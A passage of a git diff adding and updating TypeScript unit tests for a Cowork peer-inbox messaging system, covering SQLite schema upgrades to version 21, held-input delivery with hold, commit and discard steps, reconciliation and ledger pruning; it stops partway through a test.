test("schema14 upgrades to15 preserving existing workspace/HomeIdentity and defa const f = fixture(), before = f.records.get(f.workspaceId), homeId = f.records.recordedHomeIdentity(); const settings = () => ["synchronous", "fullfsync", "checkpoint_fullfsync"].map(name => f.db.db.query, []>(`PRAGMA ${name}`).get()![name]); const prior = settings(); f.db.db.run("DROP TABLE cowork_output_locations"); f.db.db.run("DROP TABLE cowork_output_directories"); f.db.db.run("DROP TABLE cowork_output_directory_intents"); f.db.db.run("PRAGMA user_version=14"); - const upgraded = openRuntimeStateDb(f.home); try { expect(upgraded.schemaVersion()).toBe(19); const records = new CoworkRepository(upgraded); expect(records.get(f.workspaceId)).toEqual(before); expect(records.recordedHomeIdentity()).toBe(homeId); expect(upgraded.integrity().ok).toBe(true); expect(upgraded.db.query("SELECT COUNT(*) AS n FROM cowork_output_directory_intents").get()).toEqual({ n: 0 }); } finally { upgraded.close(); } + const upgraded = openRuntimeStateDb(f.home); try { expect(upgraded.schemaVersion()).toBe(21); const records = new CoworkRepository(upgraded); expect(records.get(f.workspaceId)).toEqual(before); expect(records.recordedHomeIdentity()).toBe(homeId); expect(upgraded.integrity().ok).toBe(true); expect(upgraded.db.query("SELECT COUNT(*) AS n FROM cowork_output_directory_intents").get()).toEqual({ n: 0 }); } finally { upgraded.close(); } expect(settings()).toEqual(prior); }); native("owner transaction failure rolls back root authority; once the fault clears the retry adopts the leftover", () => { diff --git a/packages/core/test/cowork/peer-inbox-composition.test.ts b/packages/core/test/cowork/peer-inbox-composition.test.ts new file mode 100644 index 000000000..2a9ee023a --- /dev/null +++ b/packages/core/test/cowork/peer-inbox-composition.test.ts @@ -0,0 +1,75 @@ +import { expect, test } from "bun:test"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { SessionEvent } from "@yanlinglabs/winter-protocol"; +import { SessionMessaging, type SessionMessagingDeps } from "../../src/agent/session-messaging"; +import { coworkLostInputNotice, coworkStalledInboxNotice } from "../../src/cowork/held-input"; +import { coworkHeldInputGate, coworkPeerInboxNotes, type CoworkNoticeSink } from "../../src/cowork/peer-inbox-composition"; +import type { CoworkHeldInputInbox } from "../../src/cowork/held-input-reconcile"; + +// The composition seam for Cowork peer messaging, with fakes. Behind the refusal: nothing in production calls it. +const messagingOnly = () => new SessionMessaging({ store: { meta: () => { throw new Error("unused"); }, list: () => [] } as never, derive: () => "active" as const, working: () => false, sessions: { get: () => undefined, ensure: async () => { throw new Error("unused"); } } as never, log: () => {} }); +const sleep = (ms: number) => new Promise(resolve => setTimeout(resolve, ms)); + +test("the lost and stalled hooks append the fixed notices as continuity_warning events on the recipient's main thread", () => { + const seen: Array<{ sessionId: string; input: Record }> = []; + const sink: CoworkNoticeSink = { append: (sessionId, input) => { seen.push({ sessionId, input }); SessionEvent.parse({ ...input, seq: 1, ts: 1 }); } }; + const notes = coworkPeerInboxNotes(sink); + notes.noteLostPeerMessage("s_rec"); + notes.noteStalledPeerInbox("s_rec"); + expect(seen.map(entry => entry.sessionId)).toEqual(["s_rec", "s_rec"]); + expect(seen[0]!.input).toMatchObject({ type: "continuity_warning", threadId: "main", ...coworkLostInputNotice() }); + expect(seen[1]!.input).toMatchObject({ type: "continuity_warning", threadId: "main", ...coworkStalledInboxNotice() }); + // The notices name no sender and no receipt. + expect(JSON.stringify(seen)).not.toContain("pr_"); +}); +test("a sink that throws never throws into the drain", () => { + const notes = coworkPeerInboxNotes({ append: () => { throw new Error("log closed"); } }); + expect(() => notes.noteLostPeerMessage("s_rec")).not.toThrow(); + expect(() => notes.noteStalledPeerInbox("s_rec")).not.toThrow(); +}); +test("the messaging service wires both hooks: a lost or stalled notice reaches the sink through SessionMessaging's own deps type", () => { + const seen: string[] = []; + const notes = coworkPeerInboxNotes({ append: (_sid, input) => { seen.push(input.warning); } }); + const deps: Pick = { noteLostPeerMessage: (recipient, _receipt) => notes.noteLostPeerMessage(recipient), noteStalledPeerInbox: notes.noteStalledPeerInbox }; + deps.noteLostPeerMessage!("s_rec", "pr_x"); deps.noteStalledPeerInbox!("s_rec"); + expect(seen).toEqual(["peer_message_lost", "peer_inbox_stalled"]); +}); +test("runInRecipientChain runs after the recipient's earlier jobs and before later ones, per recipient; a throw rejects only that job", async () => { + const messaging = messagingOnly(), order: string[] = []; + const slow = messaging.runInRecipientChain("s_a", async () => { order.push("a1:start"); await sleep(30); order.push("a1:end"); }); + const second = messaging.runInRecipientChain("s_a", async () => { order.push("a2"); }); + const other = messaging.runInRecipientChain("s_b", async () => { order.push("b1"); }); + const failing = messaging.runInRecipientChain("s_a", async () => { throw new Error("boom"); }); + const third = messaging.runInRecipientChain("s_a", async () => { order.push("a3"); }); + await expect(failing).rejects.toThrow("boom"); + await Promise.all([slow, second, other, third]); + expect(order.filter(entry => entry.startsWith("a"))).toEqual(["a1:start", "a1:end", "a2", "a3"]); + expect(order.indexOf("b1")).toBeLessThan(order.indexOf("a1:end")); // another recipient is not held up +}); +test("the held-input gate reconciles inside the recipient's chain, then drains when the epoch is published", async () => { + const log: string[] = []; + const inbox: CoworkHeldInputInbox = { verdict: () => { log.push("verdict"); return { action: "discard" }; }, confirmCommitted: () => undefined, deliveredUnconfirmed: () => [] }; + const messaging = { runInRecipientChain: async (sid: string, work: () => Promise) => { log.push(`chain:${sid}`); await work(); log.push("chain:done"); }, drainCoworkInbox: async (sid: string) => { log.push(`drain:${sid}`); } }; + const gate = coworkHeldInputGate({ inbox, messaging: () => messaging }); + expect(gate.enabled).toBe(true); + const verbs = { discard: async () => { log.push("discard"); } } as never; + await gate.reconcile({ sessionId: "s_rec", epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs, inputs: [{ inputId: "pr_1", state: "held", holdToken: "a".repeat(64) } as never] }); + expect(log).toEqual(["chain:s_rec", "verdict", "discard", "chain:done"]); + gate.published!("s_rec"); + expect(log.at(-1)).toBe("drain:s_rec"); + // Before the messaging service exists, the reconcile still runs (directly) and published is a no-op. + const early = coworkHeldInputGate({ inbox, messaging: () => undefined }); + log.length = 0; + await early.reconcile({ sessionId: "s_rec", epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs, inputs: [] }); + expect(() => early.published!("s_rec")).not.toThrow(); +}); +test("anti-wiring: no production source imports the composition, and the daemon still supplies no peer inbox or held-input gate", () => { + const root = join(import.meta.dir, "..", "..", "src"); + for (const file of ["daemon.ts", "ipc/server.ts", "cowork/native-wiring.ts"]) { + const text = readFileSync(join(root, file), "utf8"); + expect(text).not.toContain("peer-inbox-composition"); + expect(text).not.toMatch(/heldInput\s*:/); + } + expect(readFileSync(join(root, "daemon.ts"), "utf8")).not.toMatch(/peerInbox\s*:/); +}); diff --git a/packages/core/test/cowork/peer-inbox-sqlite.test.ts b/packages/core/test/cowork/peer-inbox-sqlite.test.ts index 440affc0e..1a8fdb253 100644 --- a/packages/core/test/cowork/peer-inbox-sqlite.test.ts +++ b/packages/core/test/cowork/peer-inbox-sqlite.test.ts @@ -71,13 +71,13 @@ const codeOf = (operation: () => unknown): string | undefined => { try { operati test("schema 17: the version, the tables, the Cowork table list and the closed column set", () => { const { rs } = opened(); - expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); - expect(rs.schemaVersion()).toBe(19); + expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); + expect(rs.schemaVersion()).toBe(21); expect(COWORK_TABLES).toContain("cowork_peer_inbox"); expect(COWORK_TABLES).toContain("cowork_peer_inbox_sequences"); expect([...COWORK_BACKUP_EXCLUDED_TABLES].sort()).toEqual(["cowork_peer_inbox", "cowork_peer_inbox_sequences"]); for (const table of COWORK_TABLES) expect(rs.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name=?").get(table)).not.toBeNull(); const columns = rs.db.query<{ name: string }, []>("PRAGMA table_info(cowork_peer_inbox)").all().map(row => row.name).sort(); - expect(columns).toEqual(["accepted_at", "attempts", "body", "delivered_incarnation", "delivered_lease_epoch", "digest", "discarded_by", "offered_incarnation", "offered_lease_epoch", "receipt_id", "reason", "recipient_session_id", "send_id", "sender_incarnation", "sender_session_id", "sequence", "size", "state", "updated_at", "version"].sort()); + expect(columns).toEqual(["accepted_at", "attempts", "body", "delivered_incarnation", "delivered_lease_epoch", "digest", "discarded_by", "offered_incarnation", "offered_lease_epoch", "receipt_id", "reason", "recipient_session_id", "send_id", "sender_incarnation", "sender_session_id", "sequence", "size", "state", "updated_at", "version", "offer_count", "acked_hold_token", "commit_confirmed_at", "commit_outcome"].sort()); // + v21 (#92 held input) }); test("the migration is idempotent: rewinding user_version to 16 and reopening keeps the rows and the table", () => { @@ -85,7 +85,7 @@ test("the migration is idempotent: rewinding user_version to 16 and reopening ke put(store, 1); rs.db.run("PRAGMA user_version=16"); rs.close(); const again = openRuntimeStateDb(home); cleanup.push(() => again.close()); - expect(again.schemaVersion()).toBe(19); + expect(again.schemaVersion()).toBe(21); expect(rawRows(again, "SELECT receipt_id FROM cowork_peer_inbox")).toEqual([{ receipt_id: "r1" }]); expect(again.integrity().ok).toBe(true); }); @@ -95,7 +95,7 @@ test("a v16 store (no inbox tables) upgrades to the current schema in place and const first = openRuntimeStateDb(home); first.db.run("DROP TABLE cowork_peer_inbox"); first.db.run("DROP TABLE cowork_peer_inbox_sequences"); first.db.run("PRAGMA user_version=16"); first.close(); const second = openRuntimeStateDb(home); cleanup.push(() => second.close()); - expect(second.schemaVersion()).toBe(19); + expect(second.schemaVersion()).toBe(21); expect(put(new SqlitePeerInboxStore(second), 1).status).toBe("created"); }); @@ -114,15 +114,15 @@ test("downgrade from the current schema drops the inbox tables cleanly when empt put(store, 1, "x"); store.update("r1", 1, { state: "delivered", reason: null, updatedAt: 5 }); store.remove("r1"); // empty inbox, one surviving counter expect(rawRows(rs, "SELECT * FROM cowork_peer_inbox_sequences")).toHaveLength(1); rs.close(); - expect(userVersion(home)).toBe(19); - expect(downgradeCoworkRuntimeStateToV7(home)).toEqual({ from: 19, to: 7 }); + expect(userVersion(home)).toBe(21); + expect(downgradeCoworkRuntimeStateToV7(home)).toEqual({ from: 21, to: 7 }); expect(userVersion(home)).toBe(7); expect(tablesOf(home).filter(name => name.startsWith("cowork_"))).toEqual([]); - const again = openRuntimeStateDb(home); expect(again.schemaVersion()).toBe(19); expect(again.integrity().ok).toBe(true); + const again = openRuntimeStateDb(home); expect(again.schemaVersion()).toBe(21); expect(again.integrity().ok).toBe(true); expect(rawRows(again, "SELECT * FROM cowork_peer_inbox")).toEqual([]); again.close(); - expect(downgradeRuntimeStateToV6(home)).toEqual({ from: 19, to: 6 }); + expect(downgradeRuntimeStateToV6(home)).toEqual({ from: 21, to: 6 }); expect(tablesOf(home).filter(name => name.startsWith("cowork_peer"))).toEqual([]); - const last = openRuntimeStateDb(home); expect(last.schemaVersion()).toBe(19); last.close(); + const last = openRuntimeStateDb(home); expect(last.schemaVersion()).toBe(21); last.close(); }); test("an owed or retained inbox row is Cowork authority: both downgrades refuse and the row survives", () => { @@ -134,7 +134,7 @@ test("an owed or retained inbox row is Cowork authority: both downgrades refuse rs.close(); expect(() => downgradeCoworkRuntimeStateToV7(home)).toThrow("Cowork authority"); expect(() => downgradeRuntimeStateToV6(home)).toThrow("Cowork authority"); - expect(userVersion(home)).toBe(19); + expect(userVersion(home)).toBe(21); const raw = new Database(join(home, "runtimes", "runtime-state.db"), { readonly: true }); try { expect(raw.query("SELECT count(*) AS n FROM cowork_peer_inbox").get()).toEqual({ n: 1 }); } finally { raw.close(); } } @@ -148,7 +148,7 @@ test("the downgrade functions and Migration C's raw handle pin secure_delete too test("a schema newer than the current one is refused by the downgrade ladder", () => { const home = tempHome(); - const { rs } = opened(home); rs.db.run("PRAGMA user_version=20"); rs.close(); + const { rs } = opened(home); rs.db.run("PRAGMA user_version=22"); rs.close(); expect(() => downgradeCoworkRuntimeStateToV7(home)).toThrow("newer-schema"); expect(() => downgradeRuntimeStateToV6(home)).toThrow("newer-schema"); }); @@ -397,7 +397,7 @@ test("a backup never carries a body, a record or a counter, and the copy opens a const raw = new Database(copy, { readonly: true }); try { for (const table of COWORK_BACKUP_EXCLUDED_TABLES) expect(raw.query(`SELECT count(*) AS n FROM ${table}`).get()).toEqual({ n: 0 }); - expect(raw.query<{ user_version: number }, []>("PRAGMA user_version").get()!.user_version).toBe(19); + expect(raw.query<{ user_version: number }, []>("PRAGMA user_version").get()!.user_version).toBe(21); expect(raw.query<{ integrity_check: string }, []>("PRAGMA integrity_check").get()!.integrity_check).toBe("ok"); } finally { raw.close(); } // Not in the file at all: the freed pages are vacuumed away, so the marker is not recoverable from the backup bytes. diff --git a/packages/core/test/cowork/peer-inbox-wiring.test.ts b/packages/core/test/cowork/peer-inbox-wiring.test.ts index 5d5d7aab7..024ac441a 100644 --- a/packages/core/test/cowork/peer-inbox-wiring.test.ts +++ b/packages/core/test/cowork/peer-inbox-wiring.test.ts @@ -5,6 +5,8 @@ import { join } from "node:path"; import { authorityFixtureSessions } from "./committed-sessions"; import { SessionMessaging, type MessagingDriverHandle } from "../../src/agent/session-messaging"; import { CoworkPeerInbox, type PeerEpoch } from "../../src/cowork/peer-inbox"; +import { coworkHoldToken, coworkStalledInboxNotice, CoworkHeldInputRefusal, type CoworkHeldInputVerbs } from "../../src/cowork/held-input"; +import { coworkHeldInputReconciler } from "../../src/cowork/held-input-reconcile"; import { CoworkError } from "../../src/cowork/types"; import { SqlitePeerInboxStore } from "../../src/cowork/peer-inbox-sqlite"; import { CoworkRepository } from "../../src/cowork/repository"; @@ -26,7 +28,7 @@ function world(existingHome?: string) { const db: RuntimeStateDb = openRuntimeStateDb(home), records = new CoworkRepository(db); cleanups.push(() => { db.close(); if (existingHome === undefined) rmSync(home, { recursive: true, force: true }); }); const rows = new Map(), drivers = new Map(); - const log: string[] = []; + const log: string[] = [], lostNotes: string[] = [], stallNotes: string[] = []; let sequence = 0; const context = () => ({ principalId: "fixture-user", requestId: `request-${++sequence}` }); const row = (sessionId: string, mode: string) => rows.set(sessionId, { sessionId, mode, approvalPolicy: "auto", scope: "test", createdAt: 1, lastSeq: 0, title: sessionId }); @@ -45,7 +47,7 @@ function world(existingHome?: string) { const epochOf = (id: string): PeerEpoch | undefined => { const workspace = records.get(records.binding(id).workspaceId); return workspace.incarnationId === null ? undefined : { incarnationId: workspace.incarnationId, leaseEpoch: workspace.leaseEpoch }; }; class FakeDriver implements MessagingDriverHandle { turnRunning = false; foldsQueuedInput = false; pendingSends: string[] = []; state: "live" | "resumable" | "ended" = "live"; - sends: string[] = []; attempts = 0; failAlways: Error | undefined; steers: string[] = []; failNext: Error | undefined; epochOverride: PeerEpoch | null | undefined; + heldInput: CoworkHeldInputVerbs | undefined; sends: string[] = []; attempts = 0; failAlways: Error | undefined; steers: string[] = []; failNext: Error | undefined; epochOverride: PeerEpoch | null | undefined; constructor(readonly id: string) {} get coworkEpoch() { return this.epochOverride === null ? undefined : this.epochOverride ?? epochOf(this.id); } async send(text: string) { this.attempts++; if (this.failAlways) throw this.failAlways; if (this.failNext) { const error = this.failNext; this.failNext = undefined; throw error; } this.sends.push(text); return { seq: 1, queued: this.turnRunning }; } @@ -63,7 +65,7 @@ function world(existingHome?: string) { store: { meta: (id: string) => { const r = rows.get(id); if (!r) throw Error("missing"); return r; }, list: () => [...rows.values()] }, derive: () => "active" as const, working: () => true, sessions: { get: (id: string) => { const d = drivers.get(id); return d && d.state === "live" ? d : d; }, ensure: async (id: string) => { ensured.push(id); if (ensureFault.on) throw new Error("cannot resume"); const d = driverOf(id); d.state = "live"; return d; } }, - log: (line) => log.push(line), + log: (line) => log.push(line), noteStalledPeerInbox: recipient => { stallNotes.push(recipient); }, noteLostPeerMessage: (recipient, receiptId) => { lostNotes.push(`${recipient}:${receiptId}`); }, }); return { messaging, store, spy }; }; @@ -71,7 +73,7 @@ function world(existingHome?: string) { const send = (messaging: SessionMessaging, from: string, to: string, over: { message?: string; messageId?: string; incarnation?: string; summary?: string; notifyWhenIdle?: boolean } = {}) => messaging.handlerFor(from, over.incarnation ?? "inc-1").send({ to: `session:${to}`, message: over.message ?? `${MARKER} please coordinate`, messageId: over.messageId ?? `m-${++sequence}`, ...(over.summary !== undefined ? { summary: over.summary } : {}), ...(over.notifyWhenIdle !== undefined ? { notifyWhenIdle: over.notifyWhenIdle } : {}) }, { signal: new AbortController().signal }); const raw = () => db.db.query<{ receipt_id: string; state: string; reason: string | null; nobody: number }, []>("SELECT receipt_id, state, reason, body IS NULL AS nobody FROM cowork_peer_inbox ORDER BY accepted_at, sequence").all(); - return { home, db, records, rows, drivers, driverOf, ensured, ensureFault, log, project, bind, code, send, raw, makeMessaging, ...first }; + return { home, db, records, rows, drivers, driverOf, ensured, ensureFault, log, lostNotes, stallNotes, project, bind, code, send, raw, makeMessaging, ...first }; } test("a same-Project send is accepted, delivered to a stopped recipient (resumed), acknowledged, and the body is deleted", async () => { @@ -280,3 +282,284 @@ test("an acknowledgement that keeps failing stops the drain: the message is push await failing.messaging.drainCoworkInbox(b); expect(w.driverOf(b).sends).toHaveLength(2); // one push per drain (at-least-once), never a loop inside one }); + + +// ------------------------------------------------------------------------------------------------ #92 4.5: held-input delivery +type Call = [verb: string, ...args: unknown[]]; +/** A held-input guest, scripted: every verb is recorded, and each can be made to fail or answer otherwise. */ +function heldGuest(calls: Call[], script: { hold?: () => unknown; commit?: (inputId: string) => unknown; discard?: () => unknown } = {}): CoworkHeldInputVerbs { + return { + async hold(input) { calls.push(["hold", input.inputId, input.holdToken, input.text]); return (script.hold?.() ?? { held: true }) as never; }, + async commit(inputId, token) { calls.push(["commit", inputId, token]); const r = script.commit?.(inputId); if (r instanceof Error) throw r; return (r ?? { outcome: "queued" }) as never; }, + async discard(inputId, token) { calls.push(["discard", inputId, token]); const r = script.discard?.(); if (r instanceof Error) throw r; return { discarded: true }; }, + async forget(inputId, token) { calls.push(["forget", inputId, token]); return { forgotten: true }; }, + }; +} +const held = (w: ReturnType, id: string, calls: Call[], script?: Parameters[1]) => { const d = w.driverOf(id); d.heldInput = heldGuest(calls, script); return d; }; +const row = (w: ReturnType, receiptId?: string) => w.db.db.query, []>(`SELECT receipt_id, state, reason, offer_count, acked_hold_token, commit_confirmed_at, commit_outcome, body IS NULL AS nobody FROM cowork_peer_inbox ${receiptId ? `WHERE receipt_id='${receiptId}'` : ""} ORDER BY sequence`).all(); + +test("held delivery: hold, then ack (stores the token), then commit (confirms the outcome); deliverInto is never used", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + const d = held(w, b, calls); + const answer = await w.send(w.messaging, a, b); + expect(calls.map(c => c[0])).toEqual(["hold", "commit", "forget"]); + const [record] = row(w) as Array>; + const epoch = d.coworkEpoch!; + const token = coworkHoldToken(record!.receipt_id, epoch.incarnationId, epoch.leaseEpoch, 1); + expect(calls[0]).toEqual(["hold", record!.receipt_id, token, expect.stringContaining(" { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + let failures = 1; + held(w, b, calls, { commit: () => (failures-- > 0 ? new Error("transport lost") : undefined) }); + await w.send(w.messaging, a, b, { messageId: "m1" }); + const [first] = row(w) as Array>; + expect(first).toMatchObject({ state: "delivered", commit_outcome: null, commit_confirmed_at: null }); + expect(w.records).toBeDefined(); + // A second message arrives: the drain repairs the first commit before it offers the second. + calls.length = 0; + await w.send(w.messaging, a, b, { messageId: "m2" }); + expect(calls.map(c => `${c[0]}:${c[1] === first!.receipt_id ? "first" : "second"}`)).toEqual(["commit:first", "forget:first", "hold:second", "commit:second", "forget:second"]); + expect(calls[0]![2]).toBe(first!.acked_hold_token); + expect((row(w) as Array>).map(r => r.commit_outcome)).toEqual(["queued", "queued"]); +}); + +test("held delivery: while a commit stays unconfirmed nothing newer is offered", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + let down = true; + held(w, b, calls, { commit: () => (down ? new Error("transport lost") : undefined) }); + await w.send(w.messaging, a, b, { messageId: "m1" }); + calls.length = 0; + await w.send(w.messaging, a, b, { messageId: "m2" }); + expect(calls.map(c => c[0])).toEqual(["commit"]); // the repair failed, so no hold of the second + expect((row(w) as Array>).map(r => r.state)).toEqual(["delivered", "accepted"]); + down = false; + await w.messaging.drainCoworkInbox(b); + expect((row(w) as Array>).map(r => [r.state, r.commit_outcome])).toEqual([["delivered", "queued"], ["delivered", "queued"]]); +}); + +test("held delivery: unknown_input is terminal (lost, never retried) and later messages still flow", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + let first = true; + held(w, b, calls, { commit: () => { if (first) { first = false; return new CoworkHeldInputRefusal("unknown_input"); } return undefined; } }); + await w.send(w.messaging, a, b, { messageId: "m1" }); + await w.send(w.messaging, a, b, { messageId: "m2" }); + const rows = row(w) as Array>; + expect(rows.map(r => [r.state, r.commit_outcome])).toEqual([["delivered", "lost"], ["delivered", "queued"]]); + expect(calls.filter(c => c[0] === "commit")).toHaveLength(2); // the lost one was committed once, never again + expect(w.lostNotes).toEqual([`${b}:${rows[0]!.receipt_id}`]); // surfaced once, through the composition's note port +}); + +test("held delivery: authority_denied at the ack discards the hold and delivers nothing; a re-grant would re-offer", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + held(w, b, calls); + const { messaging } = w.makeMessaging({}, { ack: () => { throw new CoworkError("authority_denied"); } }); + await w.send(messaging, a, b); + expect(calls.map(c => c[0])).toEqual(["hold", "discard"]); + expect(calls[1]![2]).toBe(calls[0]![2]); // the token of THAT hold + expect(row(w)[0]).toMatchObject({ state: "accepted", acked_hold_token: null, commit_outcome: null, nobody: 0 }); +}); + +test("held delivery: any other ack throw reads the verdict: not landed discards; landed commits under the stored token; an unreadable verdict decides nothing", async () => { + // Not landed. + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + held(w, b, calls); + await w.send(w.makeMessaging({}, { ack: () => { throw new Error("disk full"); } }).messaging, a, b); + expect(calls.map(c => c[0])).toEqual(["hold", "discard"]); + expect(row(w)[0]).toMatchObject({ state: "accepted", acked_hold_token: null }); + // Landed, but the answer was lost. + const l = world(), lp = l.project(), la = l.bind(lp), lb = l.bind(lp), landed: Call[] = []; + held(l, lb, landed); + const real = new CoworkPeerInbox({ records: l.records, store: new SqlitePeerInboxStore(l.db) }); + await l.send(l.makeMessaging({}, { ack: (request: Parameters[0]) => { real.ack(request); throw new Error("answer lost"); } }).messaging, la, lb); + expect(landed.map(c => c[0])).toEqual(["hold", "commit", "forget"]); + const [r] = row(l) as Array>; + expect(landed[1]![2]).toBe(r!.acked_hold_token); + expect(r).toMatchObject({ state: "delivered", commit_outcome: "queued" }); + // The verdict is unreadable too: nothing is decided (no commit, no discard). + const u = world(), up = u.project(), ua = u.bind(up), ub = u.bind(up), undecided: Call[] = []; + held(u, ub, undecided); + await u.send(u.makeMessaging({}, { ack: () => { throw new Error("disk full"); }, verdict: () => { throw new Error("unreadable"); } }).messaging, ua, ub); + expect(undecided.map(c => c[0])).toEqual(["hold"]); +}); + +test("held delivery: a hold answered {held: false} is acked and confirmed already (no commit), and never discarded even when the ack fails", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + held(w, b, calls, { hold: () => ({ held: false, state: "committed" }) }); + await w.send(w.makeMessaging({}, { ack: () => { throw new CoworkError("authority_denied"); } }).messaging, a, b); + expect(calls.map(c => c[0])).toEqual(["hold"]); // no discard of an input the guest already owns + const ok = world(), op = ok.project(), oa = ok.bind(op), ob = ok.bind(op), okCalls: Call[] = []; + held(ok, ob, okCalls, { hold: () => ({ held: false, state: "in_transcript" }), commit: () => ({ outcome: "already" }) }); + await ok.send(ok.messaging, oa, ob); + expect(okCalls.map(c => c[0])).toEqual(["hold"]); // acked and confirmed `already`: NO commit under the new token + expect(row(ok)[0]).toMatchObject({ state: "delivered", commit_outcome: "already", nobody: 1 }); + expect((row(ok)[0] as Record).acked_hold_token).not.toBeNull(); +}); + +test("the ledger: verdict, confirmCommitted and the prune guard", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), c = w.bind(w.project()), calls: Call[] = []; + let now = Date.now(); + const inbox = new CoworkPeerInbox({ records: w.records, store: new SqlitePeerInboxStore(w.db), now: () => now }); + held(w, b, calls, { commit: () => new Error("down") }); + const { messaging } = w.makeMessaging({}, {}); + await w.send(messaging, a, b); + const [delivered] = row(w) as Array>; + expect(inbox.verdict(delivered!.receipt_id, b)).toEqual({ action: "commit", ackedHoldToken: delivered!.acked_hold_token }); + expect(inbox.verdict(delivered!.receipt_id, c)).toEqual({ action: "discard" }); // another recipient's id + expect(inbox.verdict("pr_unknown", b)).toEqual({ action: "discard" }); + expect(inbox.deliveredUnconfirmed(b)).toEqual([{ receiptId: delivered!.receipt_id, ackedHoldToken: delivered!.acked_hold_token }]); + // Far past the retention: an unconfirmed delivered record is never pruned. + now += 10 * 24 * 3_600_000; + expect(inbox.prune(b)).toBe(0); + expect(row(w)).toHaveLength(1); + inbox.confirmCommitted(delivered!.receipt_id, "folded"); + inbox.confirmCommitted(delivered!.receipt_id, "queued"); // idempotent: the first outcome stays + expect(row(w)[0]).toMatchObject({ commit_outcome: "folded" }); + expect(inbox.deliveredUnconfirmed(b)).toEqual([]); + expect(inbox.prune(b)).toBe(1); + expect(() => inbox.confirmCommitted("pr_unknown", "folded")).toThrow("not_found"); + expect(() => inbox.confirmCommitted(delivered!.receipt_id, "bogus" as never)).toThrow("invalid_request"); + // A delivery that recorded no hold token (the non-held path) is not a held input. + const plain = world(), pp = plain.project(), pa = plain.bind(pp), pb = plain.bind(pp); + await plain.send(plain.messaging, pa, pb); + const ledger = new CoworkPeerInbox({ records: plain.records, store: new SqlitePeerInboxStore(plain.db) }); + const [done] = row(plain) as Array>; + expect(() => ledger.confirmCommitted(done!.receipt_id, "folded")).toThrow("invalid_request"); + expect(ledger.verdict(done!.receipt_id, pb)).toEqual({ action: "discard" }); + expect(ledger.deliveredUnconfirmed(pb)).toEqual([]); +}); + +test("reconciliation before the epoch: held entries get the ledger's verdict, committed ones are only confirmed, a verdict that cannot be read throws", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), calls: Call[] = []; + held(w, b, calls, { commit: () => new Error("down") }); + await w.send(w.messaging, a, b); // delivered, unconfirmed (the commit never answered) + const [delivered] = row(w) as Array>; + const accepted = w.makeMessaging({}, { ack: () => { throw new Error("no ack") } }); + await w.send(accepted.messaging, a, b, { messageId: "m2" }); // accepted only: its hold was discarded, a stale one is reported + const [, pending] = row(w) as Array>; + const inbox = new CoworkPeerInbox({ records: w.records, store: new SqlitePeerInboxStore(w.db) }); + const guest: Call[] = []; + const verbs = heldGuest(guest); + const reconcile = coworkHeldInputReconciler(inbox); + const entry = (inputId: string, holdToken: string, state: "held" | "committed" | "in_transcript") => ({ inputId, digest: "a".repeat(64), holdToken, state }); + await reconcile({ sessionId: b, epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs, inputs: [entry(delivered!.receipt_id, "c".repeat(64), "held"), entry(pending!.receipt_id, "d".repeat(64), "held"), entry("pr_stranger", "e".repeat(64), "held")] }); + expect(guest).toEqual([ + ["commit", delivered!.receipt_id, delivered!.acked_hold_token], ["forget", delivered!.receipt_id, delivered!.acked_hold_token], + ["discard", pending!.receipt_id, "d".repeat(64)], ["discard", "pr_stranger", "e".repeat(64)], + ]); + expect((row(w, delivered!.receipt_id)[0] as Record).commit_outcome).toBe("queued"); + // A committed/in_transcript entry for a receipt the ledger lists unconfirmed is only confirmed. + const again = world(), ap = again.project(), aa = again.bind(ap), ab = again.bind(ap); + held(again, ab, [], { commit: () => new Error("down") }); + await again.send(again.messaging, aa, ab); + const [d2] = row(again) as Array>; + const inbox2 = new CoworkPeerInbox({ records: again.records, store: new SqlitePeerInboxStore(again.db) }); + const guest2: Call[] = []; + await coworkHeldInputReconciler(inbox2)({ sessionId: ab, epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs: heldGuest(guest2), inputs: [entry(d2!.receipt_id, d2!.acked_hold_token, "in_transcript")] }); + expect(guest2.map(c => c[0])).toEqual(["forget"]); + expect(row(again)[0]).toMatchObject({ commit_outcome: "already" }); + // An unreadable verdict throws, so the driver never publishes the epoch. + const broken = { deliveredUnconfirmed: () => [], confirmCommitted: () => undefined, verdict: () => { throw new Error("unreadable"); } }; + await expect(coworkHeldInputReconciler(broken as never)({ sessionId: b, epoch: { incarnationId: "i", leaseEpoch: 1 }, verbs, inputs: [entry("pr_x", "f".repeat(64), "held")] })).rejects.toThrow("unreadable"); +}); + +test("a Cowork caller's host-messaging answers go through the DOOR validators; a malformed one is delivery_uncertain, a malformed list is empty", async () => { + const w = world(), p = w.project(), a = w.bind(p), b = w.bind(p), host = w.code(); + const messaging = w.messaging as unknown as { send: unknown; list: unknown }; + const realSend = messaging.send, realList = messaging.list; + messaging.send = async () => ({ status: "bogus" }); + messaging.list = () => ({ sessions: [{ address: "", status: "idle", mode: "cowork" }] }); + expect(await w.messaging.handlerFor(a, "inc-1").send({ to: `session:${b}`, message: "x", messageId: "m" } as never, {} as never)).toMatchObject({ status: "delivery_uncertain", retryable: false }); + expect(await w.messaging.handlerFor(a, "inc-1").list({} as never, {} as never)).toEqual({ sessions: [] }); + // A Code caller's answers are passed through untouched. + expect(await w.messaging.handlerFor(host, "inc-1").send({ to: `session:${b}`, message: "x", messageId: "m" } as never, {} as never)).toEqual({ status: "bogus" } as never); + messaging.send = realSend; messaging.list = realList; + expect((await w.messaging.handlerFor(a, "inc-1").list({} as never, {} as never)).sessions.length).toBeGreaterThanOrEqual(0); +}); + +test("held delivery: a commit the guest keeps refusing (superseded) ends as lost after a bounded count, 